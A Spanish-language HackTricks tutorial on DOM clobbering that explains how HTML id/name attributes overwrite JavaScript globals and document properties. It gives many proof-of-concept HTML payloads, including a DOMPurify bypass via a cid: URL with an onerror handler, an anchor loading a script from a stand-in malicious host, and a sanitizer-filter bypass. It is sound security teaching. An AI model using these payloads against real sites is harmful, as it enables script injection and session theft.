13 KiB
Dom Clobbering
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión del PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Obtén el oficial PEASS & HackTricks swag
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Conceptos básicos
Es posible generar variables globales dentro del contexto JS con los atributos id
y name
en las etiquetas HTML.
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
Solo ciertos elementos pueden usar el atributo name para clobber globals, son: embed
, form
, iframe
, image
, img
y object
.
Curiosamente, cuando usas un elemento de formulario para clobber una variable, obtendrás el valor de toString
del propio elemento: [object HTMLFormElement]
pero con el ancla el toString
será el href
del ancla. Por lo tanto, si clobberizas usando la etiqueta a
, puedes controlar el valor cuando se trata como una cadena:
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
Arrays & Attributes
También es posible sobrescribir un array y atributos de un objeto:
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
Para sobrescribir un tercer atributo (por ejemplo, x.y.z), necesitas usar un form
:
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
Sobrescribir más atributos es más complicado pero aún posible, utilizando iframes:
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
{% hint style="warning" %} La etiqueta de estilo se utiliza para dar suficiente tiempo al iframe para renderizar. Sin ella, verás una alerta de indefinido. {% endhint %}
Para sobrescribir atributos más profundos, puedes usar iframes con codificación html de esta manera:
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
Burlando Filtros
Si un filtro está recorriendo las propiedades de un nodo usando algo como document.getElementByID('x').attributes
, podrías sobrescribir la propiedad .attributes
y romper el filtro. Otras propiedades del DOM como tagName
, nodeName
o parentNode
y más también son sobrescribibles.
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
Sobrescribiendo window.someObject
En JavaScript es común encontrar:
var someObject = window.someObject || {};
Manipular HTML en la página permite sobrescribir someObject
con un nodo DOM, potencialmente introduciendo vulnerabilidades de seguridad. Por ejemplo, puedes reemplazar someObject
con un elemento de anclaje apuntando a un script malicioso:
<a id=someObject href=//malicious-website.com/malicious.js></a>
En un código vulnerable como:
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
Este método explota la fuente del script para ejecutar código no deseado.
Truco: DOMPurify
te permite usar el protocolo cid:
, que no codifica en URL las comillas dobles. Esto significa que puedes inyectar una comilla doble codificada que se decodificará en tiempo de ejecución. Por lo tanto, inyectar algo como <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
hará que la comilla HTML codificada "
sea decodificada en tiempo de ejecución y escapará del valor del atributo para crear el evento onerror
.
Otra técnica utiliza un elemento form
. Algunas bibliotecas del lado del cliente inspeccionan los atributos de un elemento de formulario recién creado para limpiarlos. Sin embargo, al agregar un input
con id=attributes
dentro del formulario, sobrescribes efectivamente la propiedad de atributos, evitando que el sanitizador acceda a los atributos reales.
Puedes encontrar un ejemplo de este tipo de clobbering en este informe de CTF.
Sobrescribiendo el objeto documento
Según la documentación, es posible sobrescribir atributos del objeto documento utilizando el DOM Clobbering:
La interfaz Document admite propiedades con nombre. Los nombres de propiedad admitidos de un objeto Document document en cualquier momento consisten en lo siguiente, en orden de árbol según el elemento que los contribuyó, ignorando duplicados posteriores, y con valores de atributos id que vienen antes de valores de atributos de nombre cuando el mismo elemento contribuye ambos:
- El valor del atributo de contenido de nombre para todos los elementos expuestos embed, form, iframe, img y elementos expuestos object que tienen un atributo de contenido de nombre no vacío y están en un árbol de documentos con el documento como su raíz;
- El valor del atributo de contenido id para todos los elementos expuestos object que tienen un atributo de contenido id no vacío y están en un árbol de documentos con el documento como su raíz;
- El valor del atributo de contenido id para todos los elementos img que tienen tanto un atributo de contenido id no vacío como un atributo de contenido de nombre no vacío, y están en un árbol de documentos con el documento como su raíz.
Utilizando esta técnica, puedes sobrescribir valores comúnmente utilizados como document.cookie
, document.body
, document.children
e incluso métodos en la interfaz Document como document.querySelector
.
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
Escribiendo después del elemento clobbered
Los resultados de las llamadas a document.getElementById()
y document.querySelector()
pueden ser alterados al inyectar una etiqueta <html>
o <body>
con un atributo de id idéntico. Así es como se puede hacer:
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>
Además, al emplear estilos para ocultar estas etiquetas HTML/body inyectadas, se puede evitar la interferencia de otros textos en el innerText
, mejorando así la eficacia del ataque:
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
Investigaciones sobre SVG revelaron que una etiqueta <body>
también puede ser utilizada de manera efectiva:
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
Para que la etiqueta HTML funcione dentro de SVG en navegadores como Chrome y Firefox, es necesario usar la etiqueta <foreignobject>
:
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
Sobrescribiendo Formularios
Es posible agregar nuevas entradas dentro de un formulario simplemente especificando el atributo form
dentro de algunas etiquetas. Puedes usar esto para añadir nuevos valores dentro de un formulario e incluso agregar un nuevo botón para enviarlo (clickjacking o abusando de algún código JS .click()
):
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
{% endcode %}
- Para obtener más atributos de formulario en botón, consulte esto.
Referencias
- https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering
- https://portswigger.net/web-security/dom-based/dom-clobbering
- Heyes, Gareth. JavaScript para hackers: Aprende a pensar como un hacker.
Aprende a hackear AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión del PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Obtén la merchandising oficial de PEASS & HackTricks
- Únete al 💬 grupo de Discord](https://discord.gg/hRep4RUj7f) o al grupo de Telegram](https://t.me/peass) o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.